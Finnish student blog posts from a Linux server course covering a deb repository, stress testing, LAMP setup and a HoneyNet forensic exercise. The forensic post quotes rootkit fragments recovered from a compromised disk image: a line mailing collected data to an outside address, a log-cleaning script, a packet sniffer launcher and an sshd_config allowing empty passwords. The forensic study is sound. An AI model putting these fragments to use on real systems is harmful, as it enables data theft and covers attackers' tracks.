$ lintian esas-programs_1.0_all.deb

E: esas-programs: debian-changelog-file-contains-invalid-email-address esa@xubu

E: esas-programs: maintainer-address-malformed esa <esa@xubu>

Muokataan cfg tiedostoa sen verran, ettei lintian siitä huomauta enään.

Maintainer- ja versioriviä muokattu.

Aina kun tehdään muutoksia pakettiin, on syytä päivittää myös versionumerota.

Version: 1.1

Maintainer: Esa Eskola <esa.eskola@pleasedonotsendspam.com>

$ equivs-build esas-programs.cfg

$ lintian esas-programs_1.1_all.deb

Lintian ei ilmoittanut mitään herjaa, eli deb-paketin tarkastus menee lintianista läpi lähes heittämällä.

Pakettivaraston luominen repreprolla

Ohjeina käytetään seuraavia http://terokarvinen.com/2011/update-all-your-computers-with-a-deb-repository

http://terokarvinen.com/2008/install-apache-web-server-on-ubuntu-4

Asennetaan Apache web-palvelin, sallitaan käyttäjien kotihakemistot ja luodaan itselle public_html hakemisto.

$ sudo apt-get install apache2

$ sudo a2enmod userdir

$ sudo /etc/init.d/apache2 restart

$ mkdir /home/esa/public_html

Asennetaan reprepro

$ sudo apt-get install reprepro -y

Luodaan tyhjä repository ja konfiguroidaan se.

$ cd public_html/

$ mkdir -p repository/conf

$ nano repository/conf/distributions

Lisätään muutamia rivejä tiedostoon

(http://www.cyberciti.biz/faq/find-linux-distribution-name-version-number/ , http://kimstenberg.wordpress.com/)

Codename: saucy

Components: main

Suite: saucy

Architectures: i386 amd64 source

Lisätään .deb paketti

$ cd

$ reprepro -VVVV -b public_html/repository/ includedeb saucy esas-programs_1.1_all.deb

Muokataan repository listaa

$ sudoedit /etc/apt/sources.list.d/repository.list

Lisätään sinne rivi

deb http://127.0.0.1/~esa/repository saucy main

$ sudo apt-get update

$ sudo apt-get install esas-programs

Paketti esas-programs löytyi, mutta ei asentanut mitään koska ne olivat jo aikasemmin asennettu. Poistin kaikki paketissa olevat ohjelmat ja kokeilin asentaa uudestaan tuon “esas-programs” ja kaikki ohjelmat asentui uudestaan.

Scriptin luominen

nano ipscript

#!/bin/bash

pwd

ifconfig

Scripti siis näyttää nykyisen työhakemiston ja verkkoasetukset.

Muokataan vielä oikeuksia jotta sitä voidaan ajaa.

$ chmod a+x ipscript

Lisätään cfg tiedostoon Files kohtaan tuo scripti.

Files: ipscript /usr/local/bin/

Sitten luodaan päivitetty deb paketti.

$ equivs-build esas-programs.cfg

$ sudo gdebi esas-programs_1.2_all.deb

Tämän jälkeen komento ipscript toimii.

Lähteet:

http://terokarvinen.com/2011/update-all-your-computers-with-a-deb-repository
http://www.cyberciti.biz/faq/find-linux-distribution-name-version-number/
http://terokarvinen.com/2007/shell-scripting-4
http://terokarvinen.com/2008/install-apache-web-server-on-ubuntu-4
http://terokarvinen.com/2011/create-deb-metapackage-in-5-minutes
http://kimstenberg.wordpress.com/

HoneyNet Scan of the Month 15 | Linux Palvelimena

Linux Palvelimena kolmannen kotitehtävän ensimmäisessä osassa oli tarkoitus ratkaista HoneyNet Scan of the Month 15. Tuttuun tapaan käyttöjärjestelmänä on Xubuntu 13.10 64-bit versio joka pyörii VirtualBoxilla. Käyttöjärjestelmälle allokoitu prosessorista yksi ydin ja keskusmuistia löytyy runsaat 2048 megatavua.

Tehtävänanto:

h3: a) Ratkaise HoneyNet Scan of the Month 15.
b) Selitä omin sanoin tiiviisti valitsemasi hyökkäys OWASP Top 10 -listalta. Pelkkä sanallinen kuvaus riittää, tässä OWASP alakohdassa ei tarvitse tehdä mitään kokeiluja.
ps. Käsittele haittaohjelmia sisältäviä levykuvia huolellisesti, älä laita niitä tuotantokoneille äläkä aja niiltä löytyviä ohjelmia. Noudata hyviä tapoja ja lakeja, älä hyökkää kenenkään koneisiin. Katso myös http://terokarvinen.com/2013/forensic-file-recovery-with-linux
ps2. Jos on vaikea valita tutustuttava hyökkäys, tutustu SQL injektioon.

Tehtävän aloitus 11. helmikuuta klo 20:00.

Aloitetaan päivittämällä tarjolla olevat paketit komennolla:

$ sudo apt-get update

Tehtävänannossa olevaa linkkiä (http://terokarvinen.com/2013/forensic-file-recovery-with-linux) käytetään hyväksi tätä tehtävää tehtäessä, tai ainakin yrittäessä.

Ensimmäiseksi pitää saada tuo Scan 15 levykuva haltuun joka löytyy honeynet.org:n sivuilta.
Luodaan sitä ennen kansio nimeltä Harjoitus kotihakemistoon. Jos olet jossain muualla kuin kotihakemistossa, komennolla “cd” pääsee kätevästi omaan kotihakemistoon.

$ cd
$ mkdir Harjoitukset
$ cd Harjoitukset/

Nyt olemme Harjoitukset -kansiossa. Ladataan levykuva tarballina ja puretaan se.

$ wget http://old.honeynet.org/scans/scan15/honeynet.tar.gz
$ tar -xf honeynet.tar.gz

Kun tarballi on purettu, huomasin, että hakemistoon on tullut honeynet niminen hakemisto.

Linkissä olevien ohjeiden mukaan luodaan kaksi hakemistoa, allocated ja deleted.

$ mkdir allocated deleted

Palautetaan normaalit tiedostot hakemistoon allocated.

$ tsk_recover -a honeynet/honeypot.hda8.dd allocated

The program ‘tsk_recover’ is currently not installed. You can install it by typing:
sudo apt-get install sleuthkit

Kuten jo ylläolevasta lauseesta näemme, tarvitsee koneelle asentaa sleuthkit niminen ohjelma.

$ sudo apt-get install -y sleuthkit

Nyt kun ohjelma on asentunut, kokeillaan samaista komentoa uudestaan.

$ tsk_recover -a honeynet/honeypot.hda8.dd allocated
Files Recovered: 1614

Palautetaan poistetut tiedostot hakemistoon deleted.

$ tsk_recover honeynet/honeypot.hda8.dd deleted/
Files Recovered: 37

Nyt on levykuva saatu palautettua ja itse tutkiminen alkaa. Minulla itsellä on kokemusta vain haittaohjelmien ym. etsimisestä kokemusta Windowsin puolella. Joten minun työsuunnitelmana on tutkailla ja etsiä kyseenalaisia tiedostoja, ja niiden sisältöä.

Aloitetaan ensimmäisenä normaaleista palautetuista tiedostoista jotka löytyvät siis hakemistosta nimeltä allocated.
Siirrytään hakemistoon ja katsotaan mitä kansioita siellä on ja vilkaistaan pikaisesti tiedostoja, jotta nähtäisiin yleiskuva tiedostoista ns. “normaalissa” levykuvassa.

$ cd allocated/
$ ls -al
$ find|less

Find komennon kun ajaa juuritasolla, tulee pitkä liuta tekstiä, joten less:n lisääminen loppuun on kannattavaa. Listassa pääsee eteenpäin joko rivin tai sivun kerrallaan. Etenin itse sivu kerralla välilyöntiä painamalla.
Muutamat sivut läpikäyneenä tuli yksi kohta vastaan, josta en ole aivan varma onko ihan hyvä, jos näitä löytyy koneelta.

./dev/ida/.drag-on/linsniffer

Googleen hakusanaksi linsniffer ja selviää, että se on jokin “ethernet haistelija” joka istuu kuuntelemassa verkon liikennettä ja nappaa jokaisen paketin mitä näkee. Maalaisjärjellä ajateltuna kuulostaa epäilyttävältä.

Katsotaan vielä hakemistoja puurakenteen avulla. Tree -ohjelmaa ei löytynyt natiivisti Xubuntusta joten sen joutui asentamaan.

$ tree -d
The program ‘tree’ is currently not installed. You can install it by typing:
sudo apt-get install tree
$ sudo apt-get install -y tree
$ tree -d

Saadaan hieman siistimpi näkymä kansioiden hierarkiasta.

Luodaan nyt aikajana jossa on mukana poistetut tiedostot.

$ tsk_gettimes honeynet/honeypot.hda8.dd >rawtimes

Vilkaistaan mitä kaikkea ko. aikajana pitää sisällään.

$ mactime -b rawtimes |less

Ensimmäisen rivin vuosiluku on hieman hämäävä.

Thu Jan 01 1970 02:00:00 1024 …b d/drwxr-xr-x 0 0 10041 etc/sysconfig/console

Aikajanaa tarkastellen en oikein tiedä mitä etsiä, mutta ollessani etc/ hakemistojen kohdalla, jokin sinne kuulumaton rivi sai minun huomioni.

17 …b l/lrwxrwxrwx 0 0 16109 etc/rc.d/rc3.d/S14nfslock -> ../init.d/nfslock 239 …b -/rrw-r–r– 0 0 16110 $OrphanFiles/OrphanFile-16110 (deleted) 16 …b l/lrwxrwxrwx 0 0 16111 etc/rc.d/rc3.d/S35identd -> ../init.d/identd

$OrphanFiles nimisestä hakemistosta on poistettujotain. Google kertoi, että Orphan tiedostot ovat poistettuja tiedostoja joissa on silti metadataa tallella.

Selatessani edelleen aikajanaa tuli vastaan monia samanlaisia rivejä missä on samaisia tiedostoja poistettu.

0 …b r/rrw——- 0 0 22103 tmp/ccypSy1G.c (deleted)
0 …b r/rrw——- 0 0 22104 tmp/ccM1STTd.o (deleted)
0 …b r/rrw-r–r– 0 0 22105 tmp/ccsQgrMK.ld (deleted)
0 …b r/rrw——- 0 0 22106 tmp/ccbbVj4g.c (deleted)
0 …b r/rrw——- 0 0 22107 tmp/ccSZCa5n.o (deleted)
0 …b r/rrw-r–r– 0 0 22108 tmp/ccRD854u.ld (deleted)
520333 …b r/rrw-r–r– 0 0 23 lk.tgz (deleted)

tmp hakemistosta poistettu monia tiedostoja ja jokin lk.tgz niminen tarball.

Tiedämme Scan of the Month 15 tehtävänannosta, että koneelle päästiin tunkeutumaan 15. maaliskuuta 2001. Kyseisen päivämäärän ympäriltä löytyviä tapahtumia pitäisi päästä tarkastelemaan.

Jossain vaiheessa aikajanaa tuli tuo kyseinen päivämäärä vastaan sisältäen monia rivejä kyseiseltä päivältä, vaan en kuitenkaan osannut tulkita rivejä.
Koko aikajanan katsomiseen meni valehtelematta 45 minuuttia. Siirrytään tutkailemaan deleted osiota jos sieltä löytyisi paremmin tietoa.

$ cd deleted/
$ ls -al
total 528
drwxr-xr-x 4 esa esa 4096 helmi 11 20:21 .
drwxr-xr-x 5 esa esa 4096 helmi 11 20:52 ..
drwxr-xr-x 5 esa esa 4096 helmi 11 20:21 etc
-rw-r–r– 1 esa esa 520333 helmi 11 20:21 lk.tgz
drwxr-xr-x 2 esa esa 4096 helmi 11 20:21 $OrphanFiles

Listauksessa näkyi tuo pahaenteinen tarballi sekä $OrphanFiles niminen hakemisto. Aloitetaan tarkastelu katsomalla mitä tarball pitää sisällään.

$ tar -xf lk.tgz
$ cd last

Listaus paljastaa tarballin syöneen paljonkin tavaraa, muun muassa jo aiemmin “löytämäni” linsniffer.
Katson kaikkien sisällön ja laitan tänne jos löytyy jotain epäilyttävää.

$ tail cleaner

touch -r /var/log/$fil new
mv -f new /var/log/$fil
newline=$(wc -l /var/log/$fil | awk -F ‘ ‘ ‘{print $1}’)
let linedel=$(($line-$newline))
echo “${WHI}$linedel ${DWHI}lines removed!${RES}”

done

killall -HUP syslogd
echo “${BLK}* ${DWHI}Alles sauber mein Meister !’Q%&@$! ${RES}”

Cleaner tiedoston sisältä löytyi jotain ilmeisesti Saksaa sisältävää kieltä. Tästä voi jo päätellä ettei ole aivan puhtaat jauhot pussissa tällä tiedostolla.

Seuraavana vuorossa install tiedoston tutkailu samaisella tail -komennolla.

$ tail install
cat computer | mail -s “roote” bidi_damm@yahoo.com
echo “* Am trimis mailul … stergem fisierele care nu mai trebuie .”
echo
echo
echo “* G A T A *”
echo
echo “* That Was Nice Last ”
cd /
rm -rf last lk.tgz computer lk.tar.gz

Vaikka en osaa täydellisesti tulkita ylläolevaa tiedoston sisältöä, vaikuttaisi se lähettävän jotain sähköpostiin ja poistavan tämän jälkeen tarballin.

$ tail logclear
killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &

Linsniffer tiedosto tappaa kaikki linsniffer prosessit, poistaa logit ja tämän jälkeen luo uuden samannimisen tiedoston.

lsatrr- nimisen tiedoston tarkastelu

$ tail lsattr
#!/bin/sh
cd /dev/ida/.drag-on
./mkxfs -f ./s
./linsniffer >> ./tcp.log &
cd /

Kyseessä näyttää olevan jokin bash-scripta joka menee hakemistoon ja ajaa kaksi tiedostoa ja siirtyy juurihakemistoon.

Vuorossa sshd_config tiedoston sisällön katsominen
$ tail sshd_config
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
PidFile /dev/ida/.drag-on/pidfile
# AllowHosts *.our.com friend.other.com
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

Toisessa rivissä sallitaan tyhjät salasanat, kuulostaa epäilyttävältä tämäkin.

$ tail ssh_host_key.pub
1024 37 129548073295280252500575434093782645985155989687335528805738801561450567169036815804719637785924581776375307653623567595434773149663752532172945762705841750327695044879439112881214594877484381858188333240675834233128157059856382445188554673101284047656780274506899225446508978428021749231325851635025026234447 root@dil2.datainfosys.net

Julkisten ssh-avainten listassa on jokin sinne kuulumaton osoite.

Jatketaan tehtävän tekoa huomenna koska kello on jo 23:15.

Yöunet takana ja takaisin tutkailemaan. Kello näyttäisi olevan noin 14:30.

Selailin etc hakemiston läpi ja en löytänyt mitään erikoisen näköistä, muutamia K83ypbind tiedostoja joissa osassa oli jotain sisällä.

#%PAM-1.0
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_pwdb.so shadow nullok
auth required /lib/security/pam_nologin.so
account required /lib/security/pam_pwdb.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_pwdb.so nullok use_authtok md5 shadow
session required /lib/security/pam_pwdb.so
session optional /lib/security/pam_console.so

$OrphanFiles hakemistossa oli 26 Orphanfileä joiden sisällä oli minulle tuntematonta tekstiä.

Tässä vaiheessa loppuu minun salapoliisityöt tietämyksen puutteen takia.
Löysin jonkin verran noita epäilyttäviä tiedostoja ja uskoisin, että koneelle oli rootkit saatu ujutettua.

OWASP TOP 10 – Security Misconfiguration

Valitsin OWASP Top kymmenestä aiheeksi #5 eli tuon Security Misconfiguration nimellä kulkevan.

Security Misconfiguration eli raa’asti käännettynä virheellinen kokoonpano tietoturvassa. Hyökkäyksen kohteena voi olla mikä tahansa käyttöjärjestelmä ja näiden sisältämät sovellukset mitkä ovat alttiita hyökkäyksille. Hyökkääjänä voi toimia jokin ulkopuolinen henkilö tai henkilö joka omaa käyttäjätunnuksen jota voidaan käyttää hyökkäyksessä. Myöskin jokin sisäpiiriin kuuluva henkilö saattaa yrittää päästä käsiksi tietoihin mihin hänen ei kuuluisi päästä.

Hyökkääjä haluaa päästä käsiksi esimerkiksi oletustunnuksiin, käyttämättömiin sivuihin, korjaamattomiin vikoihin, suojaamattomiin tiedostoihin ja hakemistoihin yms. Edellä mainittujen kohteiden avulla hyökkäjä voi saada luvattoman oikeuden järjestelmään tai ainakin tietoa siitä.
Hyökkääjä voi päästä järjestelmään käsiksi sinun tietämättä siitä ja kaikki data on varastettavissa ja muokattavissa.

Olenko minä altistunut kyseessä olevalle hyökkäysmetodille?

1. Onko kaikki ohjelmistot ajan tasalla? Sisältää käyttöjärjestelmän, ohjelmistot, tietokannan, sovellukset yms.

2. Onko järjestelmässä tarpeettomia ominaisuuksia sallittu tai asennettu ? Esimerkkeinä portit, palvelut, sivut, tunnukset ja oikeudet).

3. Onko oletuskäyttäjät sallittu ja näiden salasanat vaihtamattomia?

4. Paljastaako sinun virheilmoitukset liikaa tietoa käyttäjille?

5. Onko tietoturva-asetukset kehitysalustoissa ja kirjastoissa puutteelliset?

Esimerkkejä hyökkäystilanteista.

1. Sovelluspalvelimen ylläpitäjän konsoli (admin console) on automaattisesti asentenunut ja oletuskäyttäjiä eikä heidän salasanojaan ole vaihdettu. Hyökkääjä löytää ylläpitäjän hallintasivun ja kirjautuu oletustunnuksella sisään oletussalasanan avulla.

2. Luettelolistausta ei ole otettu pois käytöstä palvelimelta. Hyökkääjä tajuaa, että hän voi yksinkertaisesti listata luettelot ja hakea sieltä minkä tahansa tiedoston. Tämän jälkeen hän lataa kaikki kootut java-luokat ja takaisinmallintaa (?revese engineer) ne, ja saa käsiinsä mukautetut koodit. Näiden koodien avulla hän saa järjestelmään oikeuden hallintapuutteen takia.
(Pahoittelut, suomentaminen oli vaikeata!)

3. Sovelluspalvelimen konfiguraatio mahdollistaa “stack tracejen” palautuksen käyttäjille. Mahdollisesti altistaa taustalla oleviin puutteisiin. Hyökkääjäthän rakastaa ylimääräistä tietoa mitä virheilmoitukset heille antavat.

4. Sovelluspalvelimen mukana tulee sovellusten näyteversioita. Näyteversiot sisältävät tunnettuja tietoturvapuutteita ja hyökkääjä voi hyödyntää palvelintasi näiden avulla. Kannattaa siis poistaa nämä tuotantopalvelimeltasi.

Tehtävän lopetus kello 16:20. Tehtävä oli mielestäni mielenkiintoinen vaikkakin melkoista hakuammuntaa olikin tuo haitallisten tiedostojen etsiminen. Ainakin tuli harjoiteltua sorminäppäryyttä terminaliin syötettyjen komentojen kanssa !

Lähteet:

http://terokarvinen.com/2013/forensic-file-recovery-with-linux

http://wiki.sleuthkit.org/index.php?title=Orphan_Files

https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration

Linux Palvelimena kotitehtävä #2

Linux Palvelimena- kurssin toisen kotitehtävän tehtävänanto oli seuraava:

h2:
– Kerää kuormitustietoja munin -ohjelmalla
– Kuormita konetta stress:llä
– Käytä tunnilla käytyjä työkaluja arvioidaksesi kuormitusta: cpu, mem, io…
– Lopuksi analysoi munin keräämiä käyriä
– Aiheuta valitsemaasi lokiin muutamia rivejä ja analysoi niistä 2-3 riviä perusteellisesti

Harjoitus tehdään Xubuntu 13.10:llä joka on asennettu VirtualBoxiin. RAM:ia varasin ko. Käyttöjärjestelmälle 1024MB. Vähäinen muistimäärä siitä syystä, jotta näkisin itse selvästi miten stress-työkalu vaikuttaa koneeseen, jossa ei ole paljon keskusmuistia.

Aloitetaan taas tuttuun tapaan päivittämällä kaikki tarjolla olevat paketit uusimpiin mahdollisiin komennolla:

sudo apt-get update

Munin -ohjelman asennus (http://terokarvinen.com/2011/munin-monitors-your-ubuntu-linux-one-step-install)

sudo apt-get install munin

Katsotaan selaimen kautta munin:n tuottamia käyriä.

firefox /var/cache/munin/www

Selain aukeaa ja valitaan listasta hakemisto ”localdomain” ja tämän alta ”localhost.localdomain” hakemisto.

Ensimmäisenä on CPU usage by day -niminen kuvatiedosto jossa näkyy prosessorin käytön päivän ajalta. Tietenkin käyrä hyvinkin tyhjältä kun muninin asennuksen jälkeen ei koneella mitään prosessoria kuormittavaa ole tehty.

Toisessa kuvassa myös käyrät keskusmuistin käytöstä.

 cpu-day

memory-day

Stress:n asentaminen ja koneen kuormittaminen

sudo apt-get install stress

Katsotaan mitä kaikkea stress ohjelmalla voidaan tehdä ja käytetään ensimmäisenä kuormituksena ohjelman antamaa esimerkkilausetta.

stress –help

Alla oleva komento kuormittaa koneen muistia ja prosessorinkäyttöä kymmenen sekunnin ajan.

stress –cpu 8 –io 4 –vm 2 –vm-bytes 128M –timeout 10s

Tämän jälkeen etsin netistä komennon jolla voisi kuormittaa pelkkää prosessoria mahdollisimman paljon jotta se näkyisi selvästi munin:n antamassa graafisessa kuvassa.

stress –cpu 1

Ylläoleva komento kuormittaa prosessoria sen ajan, kunnes käyttäjä joko lopettaa komennon ajamisen tai tappaa stress prosessin.

Käynnistetään ”top” niminen työkalu jolla voidaan katsoa, kuinka paljon ym. komento oikein kuormittaa prosessoria.

top

jotta nähtäisiin mikä prosessi syö eniten prosessoritehoja, annetaan näppäinyhdistelmä shift+p kerran, tai kaksi.

 1st_stress_cpu

 

Koneen pŕosessorin stressaamisen lopetin komennolla ctrl+c.

Seuraavana ajattelin kuormittaa vuorostaan keskusmuistia komennolla:

stress -m 512M

Ei kuitenkaan ko. Komento jostain syystä toiminut vaan sain tajuttoman määrän seuraavanlaisia rivejä

stress: FAIL: [7928] (347) fork failed: Resource temporarily unavailable

stress: FAIL: [7928] (347) fork failed: Resource temporarily unavailable

stress: FAIL: [7928] (347) fork failed: Resource temporarily unavailable

stress: FAIL: [7928] (347) fork failed: Resource temporarily unavailable

stress: FAIL: [7928] (347) fork failed: Resource temporarily unavailable

Kokeilin tämän jälkeen muokata aivan ensimmäisenä annettua stress komentoa seuraavanlaiseksi

stress –cpu 2 –io 4 –vm 2 –vm-bytes 512M

Tuon komennon avulla sain koneen keskusmuistia kuormitettua mukavasti ilman mitään virheilmoituksia.

top

halutaan tarkastella prosessia joka kuormittaa muistia eniten joten shift +m kerran, tai pari.

2nd_stress_ram

Katsoin myös muistin tilaa toisella komennolla:

free -m

freem

 Kuten tuolla free -m komennolla näkyy, koneen muistinkäyttö on melkein tapissa.

Kovalevyn kuormitus

Nyt kun on muistia ja prosessoria kuormiteltu tarpeeksi ja analysoitu hieman tuloksia topilla ja free- komennoilla, on vuorossa tuo ehkä tärkein, kovalevyn kuormittaminen ja pikainen analysointi miten kone ylipäätänsä suoriutuu samanaikaisesti.

Googlettelin hieman miten voisi kovalevyä kuormittaa ja millä ohjelmalla sitä myös analysoida.

Vastaan tuli iotop-niminen ohjelma jota myös kävimme tunneilla läpi pikaisesti. Asennus onnistui seuraavanlaisella komennolla.

sudo apt-get install iotop

Ja jotta kyseessä oleva ohjelma saataisiin käyntiin vaatii se super userin oikeudet (ainakaan ilman sudoa en saanut ohjelmaa ajettua.)

sudo iotop -o

tuo komento siis näyttää vain ne prosessit jotka tekevät kovalevylle jotain sillä hetkellä.

Nyt kun on selvillä ohjelma jolla voi analysoida I/O:n toimintaa, tarvitsemme hyvän komennon jolla sitä voi myös stressata runsaalla kädellä.

Netistä löysin komennon jonka pitäisi kirjoittaa kovalevylle gigatavun kokoisen tiedoston.

stress –hdd 1 –timeout 5M

iotop

Kyseisen komennon kun terminaliin lätkäisin, meni minun virtuaalikoneella toimiva Xubuntuni aikamoiseen juntturaan, kirjaimellisesti. Ylläoleva kuvakaappaus oli hankalin ottaa kaikkien tekemieni stressien aikana, koska koneen toiminta oli todella takkuista. Jouduin itseasiassa keskeyttämään ensimmäisen IO-stressin koska Screenshot-ohjelma ei auennut edes 30 sekunnin odoituksen aikana. Kuvakaappauksen mukaan kovalevyn käyttö oli ”vain” noin 80:ssä prosentissa, mutta suurimman osan ajasta se varasi 99% kovalevyn kirjoituksesta.

Munin käyrien analysointi stressien jälkeen

Avataan munin:n keräämät graafiset käyrät taas selaimella ja mennään ”localdomain → localhost.localdomain” hakemistojen alle.

firefox /var/cache/munin/www

Alla kuvat prosessorin ja muistinkäytöstä stressien jälkeen. Vaikkakin testit olivat pituudeltaan suhteellisen lyhyitä ajallisesti, saimme kuitenkin näyttäviä tuloksia.

memory_after_stress

cpu_after_stress

Lokitiedostot ja näiden analysointi

Tarkoituksena on saada valitsemaan lokiin jotain merkintöjä ja analysoida niitä perusteellisesti.

Ensimmäiseksi haluan asentaa kokeiluksi vaikka nmap-nimisen ohjelman.

sudo apt-get install nmap

Ohjelma asentui ja tutkaillaan hieman auth.logia jonka kymmentä viimeistä riviä voidaan tutkailla komennolla:

tail /var/log/auth.log

Tarkastellaan seuraavaa riviä

Feb 5 14:28:33 xubutex sudo: esa : TTY=pts/0 ; PWD=/home/esa ; USER=root ; COMMAND=/usr/bin/apt-get install nmap

Ensimmäisenä on päivämäärä ja kellonaika jolloin ko. komento on ajettu. Koneen nimi on ”xubutex”, käyttäjä nimeltä ”esa” on ajanut komennon natiivissa terminaalissa super userin oikeuksilla ollessaan omassa kotihakemistossa (PWD). Komentona on ollut sudo-apt-get install nmap.

Sisäänkirjautuminen root käyttäjällä

Koitetaan kirjautua root:lla sisään huonolla salasanalla “root0nparas”,  komennolla:

su

Saatiin Authentication failure ilmoitus koska root:lle ei yksinkertaisesti ole asetettu salasanaa.

Tarkastellaan auth.logista tuliko sinne mitään lokia tästä yrityksestä.

tail /var/log/auth.log

Feb 5 14:37:00 xubutex su[27837]: FAILED su for root by esa

Rivi kertoo meille taas päivämäärän, koneen nimen ja sen, että käyttäjä esa ei onnistunut kirjautumaan rootilla sisään.

Palomuurin laittaminen enable-tilaan

Viimeisenä lokimerkintänä tarkoituksena on saada jokin merkintä lokiin siitä, että Xubuntukoneeseen laitetaan palomuuri päälle. Se onnistuu komennolla:

sudo ufw enable

Katsotaan taas samaista auth lokia komennolla

tail /var/log/auth.log

Feb 5 14:43:23 xubutex sudo: esa : TTY=pts/0 ; PWD=/home/esa ; USER=root ; COMMAND=/usr/sbin/ufw enable

Päivämäärä ja kellonaika – koneen nimi – natiivilla terminaalilla käyttäjä esa ajaa super userin oikeuksilla komennon ”sudo ufw enable”

Tarkastellaan vielä, että palomuurin tila on varmasti aktiivinen.

sudo ufw status

esa@xubutex:~$ sudo ufw status

Status: active

Lähteet:

http://www.rackspace.com/knowledge_center/article/how-to-install-munin-monitoring-systems

http://terokarvinen.com/2011/munin-monitors-your-ubuntu-linux-one-step-install

http://superuser.com/questions/443406/how-can-i-produce-high-cpu-load-on-a-linux-server

http://linuxdrops.com/how-to-produce-high-cpu-load-memory-io-or-stress-test-a-linux-server/

https://www.linux.com/learn/tutorials/613523:stresslinux-torture-tests-your-hardware

http://www.cyberciti.biz/faq/linux-check-memory-usage/

http://www.cyberciti.biz/hardware/linux-iotop-simple-top-like-io-monitor/

http://unix.stackexchange.com/questions/21280/difference-between-pts-and-tty

Linux Palvelimena kotitehtävä 1

Ensimmäisenä Linux palvelimena-kurssin kotitehtävän oli tehdä jokin koe Työasemat ja tietoverkot kurssilta. (http://terokarvinen.com/2012/linux-koe-tyoasemat-ja-tietoverkot-25)

Muistellaan syksyä 2011 kun aloitin opinnot Haaga-Heliassa. Muistaakseni  meidän silloinen Linux-koe oli hyvinkin erilainen, kuin nuo kokeet mistä sai valita.

Aivan ensimmäiseksi aloitin työn lataamalla uusimman version Xubuntusta (13.10)  ja asentamalla tämän virtuaalisesti VirtualBoxin avulla. Keskusmuistia ko. virtuaalixubulle laitoin pari gigatavua, jolla luulisi pärjäävän mainiosti tämän harjoituksen ajan.

Asennuksessa luonnollisesti kysytään käyttäjätunnusta ja salasanaa sekä näppäimistön ulkoasua.

Asennus kesti noin pari minuutti ja tämän jälkeen kirjauduin käyttäjällä (esa) sisään ja ensitöikseni avasin terminalin.

Aivan ensimmäiseksi haluan päivittää kaikki mahdolliset paketit mitä olisi tarjolla ja se onnistuu seuraavalla komennolla:

 sudo apt-get update  (ei tarvitse sudoa jos rohkeasti rootilla sisään)

Jos haluttaisiin päivittää kaikki ohjelmat ajan tasalle, onnistuisi se “sudo apt-get upgrade” komennolla.

Tehtävässä sanotaan, että tekstinkäsittelyä ja weppisurffailua varten tarvitaan jotkin pätevät ohjelmat. Hieman googlen avulla katsoin, että Libreofficehan olisi kätevä ratkaisu tehtävää ajatellan. Asennetaan se alla olevalla komennolla, tämäkin terminaalin kautta.

sudo apt-get install libreoffice

Asennuspaketti oli vajaat 388MB pieni joten latauksessa ja asennuksessa ei kauaa kestänyt. LibreOffice paketista löytyy Writer niminen ohjelma jolla periaatteessa tekstinkäsittelyn pitäisi onnistua ilman ongelmia.

Weppisurffailun hoitaa Firefox joka löytyy jo ilman mitään asentelua.

Seuraavana tehtävälistassa on luoda neljän työntekijän käyttäjätunnukset vahvoilla salasanoilla varustettuna. Salasanat toimitetaan printattuina paperilappuina ko. käyttäjien luokse.

sudo adduser “haluamasi nimi”

Ylläolevan komennon avulla luodaan käyttäjätilit helposti. Käytin tunnuksessa 2 ensimmäistä kirjainta etu- sekä sukunimestä. Einari Vähäkäähkästä syntyi siis käyttäjätunnus eiva. Toistetaan tämä jokaiselle käyttäjälle.

Jotta voisi php-kotisivuja kehittää etäkäyttöyhteydellä, tarvitsee asentaa ainakin Apache ja SSH-serveri. Asennetaan näistä tuo SSH ensin ja testataan yhteys.

sudo apt-get install openssh-server

Testataan toimiiko ssh-yhteys.

 ssh esa@localhost

 Hyväksytään avain ja laitetaan salasana, yhteys saatu.

Apachen ja php5:n asennus:

 sudo apt-get install apache2

sudo apt-get install php5

sudo apt-get install libapache2-mod-php5

sudo /etc/init.d/apache2 restart

Selaimeen osoiteriville localhost ja saadaan “It works!” teksti.

Sallitaan käyttäjien kotihakemistot

sudo a2enmod userdir

Asennetaan LAMP-server ja phpmyadmin toiminto

sudo apt-get install tasksel

 

sudo tasksel install lamp-server

Lamp serverin asennuksessa pyydettiin luomaan MySql adminin salasanaa.

Alla PHPmyAdminin asennus

sudo apt-get install phpmyadmin

 

sudo apt-get install php5-gd

Luodaan symbolinen linkki

sudo ln -s /usr/share/phpmyadmin/ /var/www/phpmyadmin

Käynnistetään apachepalvelin uudestaan

sudo service apache2 restart

Luodaan käyttäjille public_html hakemisto omaan kotihakemistoonsa ja sinne index.php. Demonstroin tämän yhden käyttäjän osalta (joka kuitenkin tehtiin jokaisella käyttäjällä).

lela@localhost

 

mkdir public_html

 

cd public_html

 

nano index.php

index tiedostoon laitoin <?php echo ‘<p> Lelan kotihakemisto</p>’; ?>

Sivu kyllä toimii, mutta en tiedä miksi php koodi tulostaa sen muotoon “user hakemisto ‘; ?>”

Scriptin luonti joka näyttää vapaan levytilan ja koneen ip-osoitten.

nano mystatus

 

#!/bin/bash

df -h

hostname -I

Tämän jälkeen laitoin mystatus scriptiin oikeudet, jotta käyttäjät voivat sitä ajaa.

chmod 755 mystatus

Koska yrityksessä on vain neljä työntekijää, kopioin tuon mystatuksen käsin jokaisen heidän kotihakemistoon.

sudo cp mystatus /home/user

Ylläoleva komento suoritettiin siis jokaisen käyttäjän kotihakemistoon ja sen ajaminen luotujen oikeuksien ansiosta onnistui.

Scriptin testaus

bash mystatus

En osannut tehdä tuota, että vain yhdellä käyttäjällä olisi oikeudet MySQL phpmyadminiin.

 Linkkejä joita käytin apuna:

http://terokarvinen.com/2009/command-line-basics-4

http://www.howtogeek.com/howto/ubuntu/installing-php5-and-apache-on-ubuntu/

http://www.othworld.info/2013/03/how-to-install-lamp-w-phpmyadmin-on.html